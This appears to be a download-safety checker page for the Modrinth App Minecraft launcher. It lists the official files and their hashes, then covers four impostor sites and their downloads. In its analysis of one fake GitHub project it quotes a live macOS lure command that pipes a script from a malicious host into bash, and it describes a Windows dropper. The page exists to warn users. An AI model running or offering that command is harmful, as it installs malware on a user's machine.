How we got this result
- Files checkedWe compare the fingerprint and the content of each file with the malware we and others have found, and look at what is inside it.5 of 5 official filesLast checked on 6 Nov 2026
- Passed Nothing harmful found in its 5 official files.Our checks look for known signs of harm. They cannot prove that a file is harmless.
At a glance
- Fake sites
- 4 fake sites found.
- Releases
- Latest release on 5 Nov 2026.
Every official file
See each file in ReleasesThe files of version 0.23.1, by system and kind of download.
Have a copy of Modrinth App? Check that it is the official one.
Drop it here. We compare its fingerprint with the official Modrinth App files and the files of the fake sites we know.
Source and links
- Source code
- Public on GitHub
- Official site
- modrinth.com
Which file for my computer?
Official site
4 sites use its name to give other files. See Fake sites
- Download page
- modrinth.com/app
- Newest version
- 0.23.1, released on 5 Nov 2026
Passed
Nothing harmful found in its 5 official files, version 0.23.1.
Our checks look for known signs of harm. They cannot prove that a file is harmless.
What we checked
A launcher runs on your computer like any program, and it downloads the game and its mods, so harmful code in it can steal your accounts or files.
- Files checkedEach official file is downloaded on a separate machine, opened with every file inside it and never run. ClamAV, a free antivirus, and our YARA rules look for known signs of harm in all of it.
- 5 of its 5 official files, with every file inside them.
- Deep checkOur own tools read the Java code in the files and look for what harmful code does, like stealing logins or running hidden programs. They read Java code only.
- Not possible: we read the code of Java programs only, and its files hold none.
- SignatureThe name of the company or person that signed the file. A file changed after signing loses its signature.
- Signed by Rinth.
- Same as listedA fingerprint of the file. The same fingerprint means the same file, byte for byte.
- Every file we checked has the SHA-256 that GitHub gives.
- Older releases
- 20 official files of 4 older releases, every one checked.
What is inside
The 8 files inside Modrinth.App_0.23.1_x64-setup.exe.
- Programs for Windows, Mac or Linux
- 7 files.
- Graphics
- None.
- Other
- 1 file.
Every file
$PLUGINSDIR/7 files
- modern-wizard.bmp26 KB
- nsDialogs.dll20 KB
- nsis_tauri_utils.dll44 KB
- NSISdl.dll25 KB
- StartMenu.dll18 KB
- System.dll22 KB
- UserInfo.dll4.0 KB
- Modrinth App.exe52797 KB
Not read
We read the code of Java programs only, and its files hold none, so we cannot tell what it sends.
Releases
Current files: the official files of version 0.23.1.
A fake site uses the name of Modrinth App to offer its download from an address that is not the official one.
How to know the official site
- Official site
- modrinth.com
- Also leads there
- modrinth.app, modrinth.net and modrinth.org send you to modrinth.com.
- Files come from
- github.com/modrinth
- Signed byThe name of the company or person that signed the file. A file changed after signing loses its signature.
- Rinth, on Modrinth.App_0.23.1_x64-setup.exe
- SHA-256A fingerprint of the file. The same fingerprint means the same file, byte for byte.
- Modrinth.App_0.23.1_x64-setup.exed4f20ea66b0b0af22394690729116901709bc24951172f9d46740bc4c16cb008
The 4 fake sites we found
Of these, 1 gives a file with malware, 2 a file that is not the official one and 1 no file we could get. Sites in one fold share their pages and their download.
modrinthdownload.commodrinth.net.inNot the official file2 sites with the same template. All online
Registered at Dynadot one second apart on 5 Sep 2026, right after curseforgedownload.com, with the page template of the fake TLauncher, CurseForge and SKlauncher sites.
They give older versions of the Modrinth App (0.20.0 and 0.20.2) from their own server; the current one is 0.22.1.
- modrinthdownload.comOnline. Its download buttons give a file that is not the official one.
- modrinth.net.inOnline. Its download buttons give a file that is not the official one.
Their download
Signed by Rinth, but not a file of the official download page today.
It gives Modrinth App_0.20.0_x64-setup.exe (25 MB). It is not a file of the official download page today: its SHA-256, a fingerprint of the file, matches none of them. It is signed by Rinth. It describes itself as Modrinth App. ClamAV and our YARA rules found nothing in it and the 10 files inside it.
It gives Modrinth-App_0.20.2_x64-setup.exe (25 MB). It is not a file of the official download page today: its SHA-256, a fingerprint of the file, matches none of them. It is signed by Rinth. It describes itself as Modrinth App. ClamAV and our YARA rules found nothing in it and the 10 files inside it.
Technical details
- Modrinth App_0.20.0_x64-setup.exe
SHA-256 ee81c10f79a238d6b31a0535b889a4b651991ce2231d5d57a9bc9bede2049f3c- Modrinth-App_0.20.2_x64-setup.exe
SHA-256 b6a09f8cd8535588cd141b18be5fcedbbaeccb36c8de83876ffd3e9224f2a493
modrinth.proNo file we could getIts download pages answer with a page, not a file: we have not checked its files.Online
A Russian mod catalog that uses the Modrinth name, registered in 2024. It also has pages for Prism Launcher, TLauncher, Badlion and Lunar Client, and for cheat clients.
Its files are stored on the site.
- modrinth.proOnline. Its download pages answer with a page, not a file: we have not checked its files.
Its download
Its download pages answer with a page, not a file: we have not checked its files.
github.com/spectereagleraise/modrinth-appMalwareOnline
A GitHub project created on 5 Oct 2026 by a throwaway account. Its description presents it as the Modrinth App, and its page adds Windows and macOS download buttons.
The buttons lead to pages of another GitHub account, supremedeckhandwire. The same pages serve at least 15 fake projects, for Minecraft launchers, mods and other programs.
- github.com/spectereagleraise/modrinth-appOnline. Its download buttons lead to a fake download page.
Its download
The Windows file is not the launcher: it hides from test machines and installs another hidden program. The macOS button asks you to paste a command that downloads a program.
On Windows the download page gives installer-v5.zip from resight-cheats.net, a site that offers free game cheats. On macOS it asks you to paste a command into Terminal.
The Windows program is packed so its code cannot be read. On Triage's test machines it looked for signs of a virtual machine, ran a hidden PowerShell command that reads the hardware, and installed another program under a random name in AppData. We do not know yet what that program takes.
The macOS command runs a copy of the Bun installer changed to download its program from pkgsetup3.tools.
Technical details
- installer-v5.zip
SHA-256 a450189aeaa3080a6aa1ebaf60bbca9daf921e379ddb6ebdf8d44bfcc9696fb4- installer.exe
SHA-256 23ad0d94e9eef0206a2bf1cc2bb40024e3f096345622e9a3de6a5f7bf7e3114f- macOS command
/bin/bash -c "$(curl -fsSL https://pkgsetup3.tools/xzg556frgygm)"
If you downloaded a file from one of these sites
- Drop the file in the Scanner. It tells you if it is an official file of Modrinth App or a file of these sites.
- If it is not an official file and you have not opened it, delete it.
- If you opened it: run a full scan with your antivirus. On Windows, the built-in one is Microsoft Defender, in the Windows Security app.
- If you signed in to the launcher it installed: use "sign out everywhere" in your Microsoft security settings and change your Microsoft account password.
- Get Modrinth App from its official site, modrinth.com .
- Downloads
- Not publishedModrinth App does not publish how many times it is downloaded. GitHub's count covers only its few downloads there.
- Created
- 20 Jun 2021Its GitHub repository
- Latest release
- 5 Nov 2026Version 0.23.1
- License
- GPL-3.0 Public on GitHub
About
Modrinth App is a desktop launcher for managing Minecraft mods and playing modded games, with access to projects hosted on Modrinth. It lets you find mods, install or remove them, and keep them updated, while also downloading and playing modpacks. You can build, share, and play modpacks assembled from the mods and modpacks available on Modrinth. The app integrates with the Modrinth website, can import existing game instances from another launcher, and syncs settings such as game options, servers, and resource packs across instances. It also includes a Minecraft skin selector, so you can switch between your skins from within the app.
Written from its official pages: its GitHub page and modrinth.com . How we write it